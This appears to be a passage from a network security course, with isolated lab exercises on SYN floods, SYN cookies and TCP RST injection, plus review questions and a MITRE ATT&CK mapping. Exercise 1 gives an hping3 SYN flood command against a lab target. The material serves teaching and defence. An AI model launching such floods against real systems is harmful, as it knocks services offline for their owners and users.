Environment

Lab Setup

Lab Setup:
β”œβ”€β”€ Attacker: Kali Linux (192.168.1.50)
β”œβ”€β”€ Target: Ubuntu Server with Apache (192.168.1.100)
β”œβ”€β”€ Monitor: Wireshark on target or span port
└── Defense: iptables or pf firewall

Exercise 1: SYN Flood Observation

# On Target - Monitor connections before attack
watch -n 1 'netstat -ant | grep -c SYN_RECV'

# On Attacker - Send controlled SYN flood (LOW RATE for testing)
sudo hping3 -S -p 80 --faster 192.168.1.100

# On Target - Observe SYN_RECV count increasing
# Check if web service becomes unresponsive

# Stop attack with Ctrl+C

Exercise 2: SYN Cookies Effectiveness

# On Target - Disable SYN cookies
echo 0 > /proc/sys/net/ipv4/tcp_syncookies

# Run attack again - observe impact

# Enable SYN cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Run attack again - observe improved resilience

Exercise 3: TCP RST Injection

# Establish connection to observe
nc -v 192.168.1.100 80

# In another terminal, capture the connection parameters
sudo tcpdump -i eth0 'tcp and port 80' -nn

# Study how RST would need to be crafted
# (Sequence number within window)

Key Takeaways

  1. SYN floods exploit TCP’s asymmetric resource allocationβ€”SYN cookies provide stateless defense

  2. Session hijacking requires sequence number knowledgeβ€”encryption (TLS) is the primary mitigation

  3. RST attacks are easier than full hijacking and used for censorship and disruption

  4. OS fingerprinting reveals valuable target information through TCP/IP stack variations

  5. UDP amplification can multiply attack bandwidth by factors of 50,000x or more

  6. QUIC improves security with built-in encryption but introduces new considerations like 0-RTT replay


Self-Assessment

  1. Comprehension: Why are SYN cookies effective against SYN floods?

  2. Application: You notice thousands of SYN_RECV connections on a server. How do you determine if it’s an attack or legitimate traffic?

  3. What if: An attacker has achieved MITM position. What transport layer attacks can they now perform that were impossible before?


Review Questions

  1. What resource asymmetry does SYN flood exploit?
  2. How do SYN cookies work without storing state?
  3. What’s the difference between blind and non-blind session hijacking?
  4. Why is TCP RST injection easier than full session hijacking?
  5. Explain how UDP amplification attacks work.
  6. What security improvements does QUIC provide over TCP+TLS?

MITRE ATT&CK Mapping

AttackTechnique IDTactic
SYN FloodT1498.001Impact (DoS)
Session HijackingT1557Credential Access
Port ScanningT1046Discovery
UDP AmplificationT1498.002Impact (DoS)
TCP RST InjectionT1498.001Impact